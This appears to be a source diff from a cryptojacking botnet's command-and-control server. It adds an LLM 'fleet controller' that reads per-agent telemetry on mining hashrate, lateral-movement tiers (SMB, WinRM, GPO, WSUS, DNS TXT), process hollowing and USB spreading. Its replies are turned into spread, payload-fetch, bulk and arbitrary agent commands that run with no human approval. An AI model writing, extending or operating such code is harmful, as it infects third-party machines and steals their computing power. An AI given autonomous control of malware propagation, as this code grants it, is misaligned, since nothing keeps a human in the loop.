Message string `json:"message"`
} `json:"error"`
}
if err := json.Unmarshal(raw, &completion); err != nil {
return "", fmt.Errorf("completions: parse: %w", err)
}
if completion.Error != nil && completion.Error.Message != "" {
return "", fmt.Errorf("completions: %s", completion.Error.Message)
}
if len(completion.Choices) == 0 {
return "", fmt.Errorf("completions: empty choices")
}
return strings.TrimSpace(completion.Choices[0].Message.Content), nil
}
func normalizeEndpoint(endpoint string) string {
endpoint = strings.TrimSpace(endpoint)
endpoint = strings.TrimRight(endpoint, "/")
if endpoint == "" {
return ""
}
if !strings.HasSuffix(endpoint, "/v1") {
endpoint += "/v1"
}
return endpoint
}

View File

@@ -0,0 +1,66 @@
package ai
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
)
func TestListModelsOpenAI(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/v1/models" {
http.NotFound(w, r)
return
}
_ = json.NewEncoder(w).Encode(map[string]interface{}{
"data": []map[string]string{{"id": "llama3.2"}, {"id": "mistral"}},
})
}))
defer srv.Close()
models, err := ListModelsWithClient(context.Background(), srv.URL+"/v1", srv.Client())
if err != nil {
t.Fatal(err)
}
if len(models) != 2 || models[0] != "llama3.2" {
t.Fatalf("models: %v", models)
}
}
func TestDecideOpenAI(t *testing.T) {
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/v1/chat/completions" {
http.NotFound(w, r)
return
}
var req map[string]interface{}
_ = json.NewDecoder(r.Body).Decode(&req)
msgs, _ := req["messages"].([]interface{})
if len(msgs) != 2 {
t.Fatalf("expected single-turn messages, got %d", len(msgs))
}
_ = json.NewEncoder(w).Encode(map[string]interface{}{
"choices": []map[string]interface{}{
{"message": map[string]string{"content": `{"commands":[{"type":"noop","args":{}}]}`}},
},
})
}))
defer srv.Close()
out, err := DecideWithClient(context.Background(), srv.URL+"/v1", "test-model", "sys", "user", srv.Client())
if err != nil {
t.Fatal(err)
}
cmds := ParseCommands(out)
if len(cmds) != 1 || cmds[0].Type != CmdNoop {
t.Fatalf("parse: %+v", cmds)
}
}
func TestNormalizeEndpoint(t *testing.T) {
if got := normalizeEndpoint("http://127.0.0.1:11434"); got != "http://127.0.0.1:11434/v1" {
t.Fatalf("got %q", got)
}
}

View File

@@ -0,0 +1,169 @@
package ai
import (
"encoding/json"
"fmt"
"regexp"
"strings"
)
const (
CmdBulkCommand = "bulk_command"
CmdAgentCommand = "agent_command"
CmdDiscoverAndJoin = "discover_and_join"
CmdRestartMining = "restart_mining"
CmdReorderTiers = "reorder_tiers"
CmdSpreadNow = "spread_now"
CmdStageFetch = "stage_fetch"
CmdSetAgentVersion = "set_agent_version"
CmdNoop = "noop"
)
var knownCommands = map[string]bool{
CmdBulkCommand: true,
CmdAgentCommand: true,
CmdDiscoverAndJoin: true,
CmdRestartMining: true,
CmdReorderTiers: true,
CmdSpreadNow: true,
CmdStageFetch: true,
CmdSetAgentVersion: true,
CmdNoop: true,
}
var jsonBlockRe = regexp.MustCompile(`(?s)\{[\s\n]*"commands"\s*:\s*\[[\s\S]*?\]\s*\}`)
// ParseCommands extracts fleet commands from LLM text (JSON block, tool-call, or COMMAND: lines).
func ParseCommands(raw string) []Command {
raw = strings.TrimSpace(raw)
if raw == "" {
return nil
}
if cmds := parseCommandsJSON(raw); len(cmds) > 0 {
return cmds
}
if block := jsonBlockRe.FindString(raw); block != "" && block != raw {
if cmds := parseCommandsJSON(block); len(cmds) > 0 {
return cmds
}
}
if cmd := parseToolCall(raw); cmd != nil {
return []Command{*cmd}
}
return parseCommandLines(raw)
}
func parseCommandsJSON(raw string) []Command {
var envelope struct {
Commands []Command `json:"commands"`
}
if err := json.Unmarshal([]byte(raw), &envelope); err == nil && len(envelope.Commands) > 0 {
return normalizeCommands(envelope.Commands)
}
// Bare array
var arr []Command
if err := json.Unmarshal([]byte(raw), &arr); err == nil && len(arr) > 0 {
return normalizeCommands(arr)
}
return nil
}
func parseToolCall(raw string) *Command {
var tool struct {
Tool string `json:"tool"`
Args map[string]interface{} `json:"args"`
Type string `json:"type"`
}
start := strings.Index(raw, "{")
end := strings.LastIndex(raw, "}")
if start < 0 || end <= start {
return nil
}
if err := json.Unmarshal([]byte(raw[start:end+1]), &tool); err != nil {
return nil
}
name := strings.TrimSpace(tool.Tool)
if name == "" {
name = strings.TrimSpace(tool.Type)
}
if name == "" {
return nil
}
name = normalizeCommandType(name)
if !knownCommands[name] && name != "restart_agent" {
return &Command{Type: CmdAgentCommand, Args: map[string]interface{}{"action": name, "args": tool.Args}}
}
if name == "restart_agent" {
name = CmdRestartMining
}
return &Command{Type: name, Args: tool.Args}
}
func parseCommandLines(raw string) []Command {
var out []Command
for _, line := range strings.Split(raw, "\n") {
line = strings.TrimSpace(line)
if !strings.HasPrefix(strings.ToUpper(line), "COMMAND:") {
continue
}
rest := strings.TrimSpace(line[len("COMMAND:"):])
if rest == "" {
continue
}
parts := strings.Fields(rest)
cmdType := normalizeCommandType(parts[0])
args := map[string]interface{}{}
for _, p := range parts[1:] {
kv := strings.SplitN(p, "=", 2)
if len(kv) == 2 {
args[kv[0]] = kv[1]
}
}
out = append(out, Command{Type: cmdType, Args: args})
}
return normalizeCommands(out)
}
func normalizeCommands(cmds []Command) []Command {
out := make([]Command, 0, len(cmds))
for _, c := range cmds {
typ := normalizeCommandType(c.Type)
if typ == "" {
continue
}
if typ == "restart_agent" {
typ = CmdRestartMining
}
args := c.Args
if args == nil {
args = map[string]interface{}{}
}
out = append(out, Command{Type: typ, Args: args})
}
return out
}
func normalizeCommandType(s string) string {
s = strings.TrimSpace(strings.ToLower(s))
s = strings.ReplaceAll(s, "-", "_")
if s == "restart" {
return CmdRestartMining
}
if knownCommands[s] {
return s
}
return s
}
// FormatExecuted summarizes commands for audit log storage.
func FormatExecuted(cmds []Command, results []string) string {
parts := make([]string, 0, len(cmds))
for i, c := range cmds {
msg := c.Type
if i < len(results) && results[i] != "" {
msg = fmt.Sprintf("%s:%s", c.Type, results[i])
}
parts = append(parts, msg)
}
return strings.Join(parts, "; ")
}

View File

@@ -0,0 +1,39 @@
package ai
import "testing"
func TestParseCommandsJSONBlock(t *testing.T) {
raw := `Here is my plan:
{"commands":[{"type":"restart_mining","args":{}}]}`
cmds := ParseCommands(raw)
if len(cmds) != 1 || cmds[0].Type != CmdRestartMining {
t.Fatalf("got %+v", cmds)
}
}
func TestParseCommandsToolCall(t *testing.T) {
raw := `{"tool":"restart_agent","args":{}}`
cmds := ParseCommands(raw)
if len(cmds) != 1 || cmds[0].Type != CmdRestartMining {
t.Fatalf("got %+v", cmds)
}
}
func TestParseCommandsLineFallback(t *testing.T) {
raw := "COMMAND: spread_now\nCOMMAND: noop"
cmds := ParseCommands(raw)
if len(cmds) != 2 || cmds[0].Type != CmdSpreadNow || cmds[1].Type != CmdNoop {
t.Fatalf("got %+v", cmds)
}
}
func TestParseCommandsAgentCommand(t *testing.T) {
raw := `{"commands":[{"type":"agent_command","args":{"action":"pause"}}]}`
cmds := ParseCommands(raw)
if len(cmds) != 1 || cmds[0].Type != CmdAgentCommand {
t.Fatalf("got %+v", cmds)
}
if cmds[0].Args["action"] != "pause" {
t.Fatalf("args: %+v", cmds[0].Args)
}
}

View File

@@ -0,0 +1,135 @@
package ai
import (
"encoding/json"
"fmt"
"strings"
)
// Default spread onion tiers (14) for prompt context.
var defaultSpreadTiers = []string{
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh",
"smb", "winrm", "linux", "gpo",
}
// SystemPrompt returns the fleet AI system instructions.
func SystemPrompt() string {
return strings.TrimSpace(`You are the AetherForge fleet controller for the operator's own machines.
Respond with short answers only. Prefer JSON: {"commands":[{"type":"noop","args":{}}]}.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop.
agent_command args: action (required), command, path, data.
bulk_command args: agent_ids (array), action, command.
reorder_tiers args: tier_order (array of strings), skip_tiers (optional array).
stage_fetch args: data (JSON manifest string).
set_agent_version args: module or build_id.
You have complete control in AI mode. Never target third-party systems.`)
}
// BuildUserPrompt renders the per-agent snapshot for one decision cycle.
func BuildUserPrompt(s AgentSnapshot) string {
var b strings.Builder
fmt.Fprintf(&b, "Agent: name=%q id=%s", s.Name, s.AgentID)
if s.Worker != "" {
fmt.Fprintf(&b, " worker=%s", s.Worker)
}
b.WriteString("\n")
fmt.Fprintf(&b, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(s.GOOS, s.Platform), s.Version, s.BuildID)
if len(s.Capabilities) > 0 {
flags := make([]string, 0, len(s.Capabilities))
for k, v := range s.Capabilities {
if v {
flags = append(flags, k)
}
}
if len(flags) > 0 {
fmt.Fprintf(&b, "Forge capabilities: %s\n", strings.Join(flags, ", "))
}
}
fmt.Fprintf(&b, "LOTL tier: %s\n", emptyDash(s.LOTLTier))
fmt.Fprintf(&b, "Mining hashrate: %.2f H/s\n", s.MiningHashrate)
if s.ActiveMethod != "" {
fmt.Fprintf(&b, "Active method: %s\n", s.ActiveMethod)
}
if s.ChainExhausted {
b.WriteString("Mining chain exhausted: true\n")
}
if len(s.ChainOrder) > 0 {
fmt.Fprintf(&b, "Chain order: %s\n", strings.Join(s.ChainOrder, " → "))
}
b.WriteString("LOTL attempts (all tiers):\n")
attemptByTier := map[string]TierAttempt{}
for _, a := range s.LOTLAttempts {
attemptByTier[a.Tier] = a
}
for _, tier := range defaultSpreadTiers {
if a, ok := attemptByTier[tier]; ok {
status := "fail"
if a.OK {
status = "ok"
}
if a.Error != "" {
fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error)
} else {
fmt.Fprintf(&b, " - %s: %s\n", tier, status)
}
} else {
fmt.Fprintf(&b, " - %s: pending\n", tier)
}
}
for _, a := range s.LOTLAttempts {
if _, listed := attemptByTier[a.Tier]; listed {
continue
}
found := false
for _, t := range defaultSpreadTiers {
if t == a.Tier {
found = true
break
}
}
if !found {
status := "fail"
if a.OK {
status = "ok"
}
fmt.Fprintf(&b, " - %s: %s\n", a.Tier, status)
}
}
fmt.Fprintf(&b, "Join lane: %s\n", emptyDash(s.JoinLane))
fmt.Fprintf(&b, "Spread state: %s\n", emptyDash(s.SpreadState))
if s.VulnRisk != nil {
fmt.Fprintf(&b, "Vuln risk score: %d\n", *s.VulnRisk)
} else {
b.WriteString("Vuln risk score: n/a\n")
}
if s.AdaptiveSummary != "" {
fmt.Fprintf(&b, "Adaptive strategy summary: %s\n", s.AdaptiveSummary)
} else if s.Adaptive != nil {
if raw, err := json.Marshal(s.Adaptive); err == nil {
fmt.Fprintf(&b, "Adaptive strategy: %s\n", string(raw))
}
}
b.WriteString("\nIf all 14 tiers failed and hashrate=0, you MAY force restart mining chain (restart_mining).\n")
b.WriteString("Return JSON commands array for this agent only.\n")
return b.String()
}
func firstNonEmpty(vals ...string) string {
for _, v := range vals {
if strings.TrimSpace(v) != "" {
return strings.TrimSpace(v)
}
}
return "unknown"
}
func emptyDash(s string) string {
if strings.TrimSpace(s) == "" {
return "—"
}
return strings.TrimSpace(s)
}

View File

@@ -0,0 +1,188 @@
package ai
import (
"context"
"crypto/sha256"
"encoding/hex"
"log"
"sync"
"time"
)
// SnapshotProvider supplies live agent telemetry for decision cycles.
type SnapshotProvider interface {
ConnectedAgentIDs() []string
AgentSnapshot(agentID string) (AgentSnapshot, bool)
}
// CommandExecutor runs parsed fleet commands.
type CommandExecutor interface {
Execute(agentID string, cmd Command) (summary string, err error)
}
// ConfigProvider reads current Fleet AI Control settings.
type ConfigProvider interface {
AIConfig() Config
}
// DecisionStore persists decision audit rows.
type DecisionStore interface {
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
}
// Scheduler runs periodic LLM decisions for online agents.
type Scheduler struct {
cfg ConfigProvider
snap SnapshotProvider
exec CommandExecutor
store DecisionStore
stop chan struct{}
wg sync.WaitGroup
lastRunMu sync.Mutex
lastRun map[string]time.Time
}
func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore) *Scheduler {
return &Scheduler{
cfg: cfg,
snap: snap,
exec: exec,
store: store,
stop: make(chan struct{}),
lastRun: make(map[string]time.Time),
}
}
func (s *Scheduler) Start() {
s.wg.Add(1)
go s.loop()
}
func (s *Scheduler) Stop() {
close(s.stop)
s.wg.Wait()
}
func (s *Scheduler) loop() {
defer s.wg.Done()
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
for {
select {
case <-s.stop:
return
case <-ticker.C:
s.tick()
}
}
}
// Tick runs one scheduler pass (exported for tests).
func (s *Scheduler) Tick() {
s.tick()
}
func (s *Scheduler) tick() {
if s.cfg == nil || s.snap == nil {
return
}
cfg := s.cfg.AIConfig()
if !cfg.Enabled {
return
}
interval := time.Duration(cfg.IntervalSec) * time.Second
if interval < time.Second {
interval = 60 * time.Second
}
ids := s.snap.ConnectedAgentIDs()
for i, agentID := range ids {
if !s.shouldRun(agentID, interval, i) {
continue
}
s.runAgent(context.Background(), agentID, cfg)
}
}
func (s *Scheduler) shouldRun(agentID string, interval time.Duration, staggerIndex int) bool {
s.lastRunMu.Lock()
defer s.lastRunMu.Unlock()
last, ok := s.lastRun[agentID]
if !ok {
offset := time.Duration(staggerIndex%max(1, int(interval/time.Second))) * time.Second
if offset > 0 {
s.lastRun[agentID] = time.Now().Add(-interval + offset)
}
return true
}
return time.Since(last) >= interval
}
func (s *Scheduler) markRun(agentID string) {
s.lastRunMu.Lock()
s.lastRun[agentID] = time.Now()
s.lastRunMu.Unlock()
}
func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
snap, ok := s.snap.AgentSnapshot(agentID)
if !ok {
return
}
userPrompt := BuildUserPrompt(snap)
systemPrompt := SystemPrompt()
promptHash := hashPrompt(userPrompt)
decide := Decide
if DecideFunc != nil {
decide = DecideFunc
}
response, err := decide(ctx, cfg.Endpoint, cfg.Model, systemPrompt, userPrompt)
if err != nil {
log.Printf("[fleet-ai] agent %s decide: %v", agentID, err)
if s.store != nil {
_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error())
}
s.markRun(agentID)
return
}
cmds := ParseCommands(response)
results := make([]string, 0, len(cmds))
for _, cmd := range cmds {
if cmd.Type == CmdNoop {
results = append(results, "ok")
continue
}
if s.exec == nil {
results = append(results, "no executor")
continue
}
sum, execErr := s.exec.Execute(agentID, cmd)
if execErr != nil {
results = append(results, "err:"+execErr.Error())
} else {
results = append(results, sum)
}
}
executed := FormatExecuted(cmds, results)
if s.store != nil {
_ = s.store.InsertAIDecision(agentID, promptHash, response, executed)
}
s.markRun(agentID)
}
func hashPrompt(prompt string) string {
h := sha256.Sum256([]byte(prompt))
return hex.EncodeToString(h[:8])
}
// DecideFunc allows tests to override LLM calls.
var DecideFunc func(ctx context.Context, endpoint, model, systemPrompt, userPrompt string) (string, error)
func max(a, b int) int {
if a > b {
return a
}
return b
}

View File

@@ -0,0 +1,92 @@
package ai
import (
"context"
"sync"
"testing"
"time"
)
type mockSnap struct {
ids []string
snap AgentSnapshot
}
func (m *mockSnap) ConnectedAgentIDs() []string { return m.ids }
func (m *mockSnap) AgentSnapshot(string) (AgentSnapshot, bool) {
return m.snap, true
}
type mockExec struct {
mu sync.Mutex
calls []Command
}
func (m *mockExec) Execute(_ string, cmd Command) (string, error) {
m.mu.Lock()
m.calls = append(m.calls, cmd)
m.mu.Unlock()
return cmd.Type, nil
}
type mockCfg struct{ cfg Config }
func (m *mockCfg) AIConfig() Config { return m.cfg }
type mockStore struct {
mu sync.Mutex
rows []string
}
func (m *mockStore) InsertAIDecision(_, _, _, executed string) error {
m.mu.Lock()
m.rows = append(m.rows, executed)
m.mu.Unlock()
return nil
}
func TestSchedulerExecutesRestartCommand(t *testing.T) {
old := DecideFunc
defer func() { DecideFunc = old }()
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
return `{"commands":[{"type":"restart_mining","args":{}}]}`, nil
}
exec := &mockExec{}
store := &mockStore{}
sched := NewScheduler(
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}},
&mockSnap{ids: []string{"agent-1"}, snap: AgentSnapshot{AgentID: "agent-1", Name: "host"}},
exec,
store,
)
sched.lastRun["agent-1"] = time.Now().Add(-2 * time.Minute)
sched.Tick()
exec.mu.Lock()
n := len(exec.calls)
call := exec.calls
exec.mu.Unlock()
if n != 1 || call[0].Type != CmdRestartMining {
t.Fatalf("calls: %+v", call)
}
store.mu.Lock()
defer store.mu.Unlock()
if len(store.rows) != 1 || store.rows[0] != "restart_mining:restart_mining" {
t.Fatalf("store: %v", store.rows)
}
}
func TestSchedulerNoOpWhenDisabled(t *testing.T) {
exec := &mockExec{}
sched := NewScheduler(
&mockCfg{cfg: Config{Enabled: false}},
&mockSnap{ids: []string{"agent-1"}},
exec,
nil,
)
sched.Tick()
if len(exec.calls) != 0 {
t.Fatalf("expected no calls")
}
}

View File

@@ -0,0 +1,63 @@
package ai
import "crypto-miner-server/internal/strategy"
// TierAttempt mirrors agent LOTL tier attempt telemetry.
type TierAttempt struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms,omitempty"`
}
// AgentSnapshot is the per-cycle fleet state fed to the LLM.
type AgentSnapshot struct {
AgentID string
Name string
Worker string
Platform string
Version string
BuildID string
GOOS string
Capabilities map[string]bool
LOTLTier string
LOTLAttempts []TierAttempt
MiningHashrate float64
ChainExhausted bool
ChainOrder []string
ActiveMethod string
JoinLane string
SpreadState string
VulnRisk *int
AdaptiveSummary string
Adaptive *strategy.AdaptiveStrategy
}
// Command is one fleet action parsed from LLM output.
type Command struct {
Type string `json:"type"`
Args map[string]interface{} `json:"args,omitempty"`
}
// Config holds runtime Fleet AI Control settings.
type Config struct {
Enabled bool
Endpoint string
Model string
NoContext bool
IntervalSec int
}
// DecisionRecord is persisted for the UI timeline.
type DecisionRecord struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
PromptHash string `json:"prompt_hash"`
Response string `json:"response"`
CommandsExecuted string `json:"commands_executed"`
Timestamp string `json:"ts"`
}

View File

@@ -0,0 +1,344 @@
package api
import (
"encoding/json"
"fmt"
"strings"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
// FleetAIConfigView is the Calibrate subset for Fleet AI Control.
type FleetAIConfigView struct {
AIControlEnabled bool `json:"ai_control_enabled"`
AIEndpoint string `json:"ai_endpoint"`
AIModel string `json:"ai_model"`
AINoContext bool `json:"ai_no_context"`
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
}
// FleetAIConfigSource reads/writes Fleet AI settings from server config.
type FleetAIConfigSource interface {
GetFleetAIConfig() FleetAIConfigView
UpdateFleetAIConfig(FleetAIConfigView) error
}
// FleetAISnapshot builds agent snapshots from DB + WS hub state.
func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
if h == nil || h.db == nil || agentID == "" {
return fleetai.AgentSnapshot{}, false
}
agent, err := h.db.GetAgent(agentID)
if err != nil || agent == nil {
return fleetai.AgentSnapshot{}, false
}
snap := fleetai.AgentSnapshot{
AgentID: agentID,
Name: agent.Name,
Worker: agent.WorkerName,
Platform: agent.Platform,
Version: agent.Version,
BuildID: agent.BuildID,
GOOS: agent.Platform,
MiningHashrate: agent.MiningHashrate,
LOTLTier: agent.LOTLTier,
JoinLane: agent.JoinLane,
ChainExhausted: agent.ChainExhausted,
ChainOrder: append([]string(nil), agent.ChainOrder...),
ActiveMethod: agent.ActiveMethod,
VulnRisk: agent.VulnRiskScore,
}
for _, a := range agent.LOTLAttempts {
snap.LOTLAttempts = append(snap.LOTLAttempts, fleetai.TierAttempt{
Tier: a.Tier, OK: a.OK, Error: a.Error, DurationMs: a.DurationMs,
})
}
h.mu.RLock()
if caps, ok := h.agentCapabilities[agentID]; ok {
snap.Capabilities = capabilityFlags(caps)
}
if tel, ok := h.agentLiveTelemetry[agentID]; ok {
mergeTelemetryIntoSnapshot(&snap, tel)
}
engine := h.adaptiveEngine
aiMode := h.serverPolicy.AIControlEnabled
h.mu.RUnlock()
snap.SpreadState = describeSpreadState(agent, snap.Capabilities)
if engine != nil && !aiMode {
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
adaptive := engine.StrategyForAgent(agentID, fp)
snap.Adaptive = &adaptive
if len(adaptive.Reasoning) > 0 {
snap.AdaptiveSummary = adaptive.Reasoning[0].Action
}
}
return snap, true
}
func capabilityFlags(caps models.AgentCapabilities) map[string]bool {
return map[string]bool{
"hole_punch": caps.HolePunch,
"remote_aggressive": caps.RemoteAggressive,
"auto_spread": caps.AutoSpread,
"mesh_p2p": caps.MeshP2P,
"process_hollowing": caps.ProcessHollowing,
"ai_enabled": caps.AIEnabled,
"usb_spread": caps.USBSpread,
}
}
func describeSpreadState(agent *models.Agent, caps map[string]bool) string {
parts := []string{}
if agent.USBSpread || (caps != nil && caps["usb_spread"]) {
parts = append(parts, "usb")
}
if caps != nil && caps["auto_spread"] {
parts = append(parts, "auto_spread")
}
if agent.JoinLane != "" {
parts = append(parts, "lane:"+agent.JoinLane)
}
if agent.Campaign != "" {
parts = append(parts, "campaign:"+agent.Campaign)
}
if len(parts) == 0 {
return "idle"
}
return strings.Join(parts, ", ")
}
func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]interface{}) {
if v, ok := tel["mining_hashrate"].(float64); ok && v > 0 {
snap.MiningHashrate = v
}
if v, ok := tel["lotl_tier"].(string); ok && v != "" {
snap.LOTLTier = v
}
if v, ok := tel["join_lane"].(string); ok && v != "" {
snap.JoinLane = v
}
if v, ok := tel["chain_exhausted"].(bool); ok {
snap.ChainExhausted = v
}
if v, ok := tel["active_method"].(string); ok && v != "" {
snap.ActiveMethod = v
}
if raw, ok := tel["lotl_attempts"]; ok {
if b, err := json.Marshal(raw); err == nil {
var attempts []fleetai.TierAttempt
if json.Unmarshal(b, &attempts) == nil && len(attempts) > 0 {
snap.LOTLAttempts = attempts
}
}
}
if raw, ok := tel["chain_order"]; ok {
if b, err := json.Marshal(raw); err == nil {
var order []string
if json.Unmarshal(b, &order) == nil {
snap.ChainOrder = order
}
}
}
if v, ok := tel["vuln_risk_score"].(float64); ok {
n := int(v)
snap.VulnRisk = &n
}
}
// FleetAIExecutor dispatches parsed LLM commands via existing WS command paths.
type FleetAIExecutor struct {
Hub *WSHub
}
func (e *FleetAIExecutor) Execute(agentID string, cmd fleetai.Command) (string, error) {
if e == nil || e.Hub == nil {
return "", fmt.Errorf("hub unavailable")
}
args := cmd.Args
if args == nil {
args = map[string]interface{}{}
}
switch cmd.Type {
case fleetai.CmdNoop:
return "noop", nil
case fleetai.CmdRestartMining:
if err := e.Hub.SendAgentCommand(agentID, "restart", nil); err != nil {
return "", err
}
return "restart", nil
case fleetai.CmdDiscoverAndJoin:
if err := e.Hub.SendAgentCommand(agentID, "discover_and_join", args); err != nil {
return "", err
}
return "discover_and_join", nil
case fleetai.CmdSpreadNow:
if err := e.Hub.SendAgentCommand(agentID, "spread_now", args); err != nil {
return "", err
}
return "spread_now", nil
case fleetai.CmdStageFetch:
if err := e.Hub.SendAgentCommand(agentID, "stage_fetch", args); err != nil {
return "", err
}
return "stage_fetch", nil
case fleetai.CmdSetAgentVersion:
module, _ := args["module"].(string)
if module == "" {
module, _ = args["build_id"].(string)
}
if module == "" {
return "", fmt.Errorf("set_agent_version requires module or build_id")
}
if err := e.Hub.SendAgentCommand(agentID, "fetch_module", map[string]interface{}{"module": module}); err != nil {
return "", err
}
return "fetch_module:" + module, nil
case fleetai.CmdReorderTiers:
return e.pushReorderTiers(agentID, args)
case fleetai.CmdBulkCommand:
return e.runBulkCommand(args)
case fleetai.CmdAgentCommand:
action, _ := args["action"].(string)
if action == "" {
return "", fmt.Errorf("agent_command requires action")
}
sendArgs := map[string]interface{}{}
for _, k := range []string{"command", "path", "data", "tail_lines"} {
if v, ok := args[k]; ok {
sendArgs[k] = v
}
}
if err := e.Hub.SendAgentCommand(agentID, action, sendArgs); err != nil {
return "", err
}
return action, nil
default:
if err := e.Hub.SendAgentCommand(agentID, cmd.Type, args); err != nil {
return "", err
}
return cmd.Type, nil
}
}
func (e *FleetAIExecutor) pushReorderTiers(agentID string, args map[string]interface{}) (string, error) {
payload := map[string]interface{}{}
if raw, ok := args["tier_order"]; ok {
payload["tier_order"] = raw
}
if raw, ok := args["skip_tiers"]; ok {
payload["skip_tiers"] = raw
}
if len(payload) == 0 {
return "", fmt.Errorf("reorder_tiers requires tier_order")
}
body, _ := json.Marshal(payload)
if err := e.Hub.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: body}); err != nil {
return "", err
}
return "reorder_tiers", nil
}
func (e *FleetAIExecutor) runBulkCommand(args map[string]interface{}) (string, error) {
action, _ := args["action"].(string)
if action == "" {
return "", fmt.Errorf("bulk_command requires action")
}
ids := e.Hub.ResolveAgentTargets(parseAgentIDs(args["agent_ids"]))
if len(ids) == 0 {
return "", fmt.Errorf("bulk_command: no agent_ids")
}
sendArgs := map[string]interface{}{}
if v, ok := args["command"]; ok {
sendArgs["command"] = v
}
sent := 0
for _, id := range ids {
if err := e.Hub.SendAgentCommand(id, action, sendArgs); err == nil {
sent++
}
}
return fmt.Sprintf("bulk:%d/%d", sent, len(ids)), nil
}
func parseAgentIDs(raw interface{}) []string {
switch v := raw.(type) {
case []interface{}:
out := make([]string, 0, len(v))
for _, item := range v {
if s, ok := item.(string); ok && strings.TrimSpace(s) != "" {
out = append(out, strings.TrimSpace(s))
}
}
return out
case []string:
return v
case string:
if strings.TrimSpace(v) == "" {
return nil
}
return strings.Split(v, ",")
default:
return nil
}
}
// WSHubSnapshotAdapter implements fleetai.SnapshotProvider.
type WSHubSnapshotAdapter struct{ Hub *WSHub }
func (a *WSHubSnapshotAdapter) ConnectedAgentIDs() []string {
if a == nil || a.Hub == nil {
return nil
}
return a.Hub.ConnectedAgentIDs()
}
func (a *WSHubSnapshotAdapter) AgentSnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
if a == nil || a.Hub == nil {
return fleetai.AgentSnapshot{}, false
}
return a.Hub.FleetAISnapshot(agentID)
}
// ConfigAIAdapter wraps FleetAIConfigSource for the scheduler.
type ConfigAIAdapter struct{ Src FleetAIConfigSource }
func (a *ConfigAIAdapter) AIConfig() fleetai.Config {
if a == nil || a.Src == nil {
return fleetai.Config{}
}
v := a.Src.GetFleetAIConfig()
interval := v.AIDecisionIntervalSec
if interval <= 0 {
interval = 60
}
endpoint := strings.TrimSpace(v.AIEndpoint)
if endpoint == "" {
endpoint = "http://127.0.0.1:11434/v1"
}
return fleetai.Config{
Enabled: v.AIControlEnabled,
Endpoint: endpoint,
Model: strings.TrimSpace(v.AIModel),
NoContext: v.AINoContext,
IntervalSec: interval,
}
}
// DatabaseAIDecisionStore wraps db for InsertAIDecision.
type DatabaseAIDecisionStore struct {
DB interface {
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
}
}
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error {
if s == nil || s.DB == nil {
return nil
}
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted)
}

View File

@@ -0,0 +1,90 @@
package api
import (
"encoding/json"
"net/http"
"strconv"
"strings"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/db"
)
// FleetAIHandler serves Fleet AI Control API routes.
type FleetAIHandler struct {
config FleetAIConfigSource
db interface {
ListAIDecisions(agentID string, limit int) ([]db.AIDecisionRecord, error)
}
}
func NewFleetAIHandler(cfg FleetAIConfigSource, database interface {
ListAIDecisions(agentID string, limit int) ([]db.AIDecisionRecord, error)
}) *FleetAIHandler {
return &FleetAIHandler{config: cfg, db: database}
}
func (h *FleetAIHandler) GetConfig(w http.ResponseWriter, r *http.Request) {
if h.config == nil {
http.Error(w, "config unavailable", http.StatusServiceUnavailable)
return
}
writeJSON(w, h.config.GetFleetAIConfig())
}
func (h *FleetAIHandler) PutConfig(w http.ResponseWriter, r *http.Request) {
if h.config == nil {
http.Error(w, "config unavailable", http.StatusServiceUnavailable)
return
}
var body FleetAIConfigView
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if body.AIDecisionIntervalSec < 0 {
http.Error(w, "ai_decision_interval_sec must be ≥ 0", http.StatusBadRequest)
return
}
if err := h.config.UpdateFleetAIConfig(body); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, h.config.GetFleetAIConfig())
}
func (h *FleetAIHandler) GetModels(w http.ResponseWriter, r *http.Request) {
endpoint := strings.TrimSpace(r.URL.Query().Get("endpoint"))
if endpoint == "" && h.config != nil {
endpoint = h.config.GetFleetAIConfig().AIEndpoint
}
models, err := fleetai.ListModels(r.Context(), endpoint)
if err != nil {
http.Error(w, err.Error(), http.StatusBadGateway)
return
}
writeJSON(w, map[string]interface{}{"models": models, "endpoint": endpoint})
}
func (h *FleetAIHandler) GetDecisions(w http.ResponseWriter, r *http.Request) {
if h.db == nil {
writeJSON(w, []db.AIDecisionRecord{})
return
}
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
limit := 50
if raw := r.URL.Query().Get("limit"); raw != "" {
if n, err := strconv.Atoi(raw); err == nil && n > 0 {
limit = n
}
}
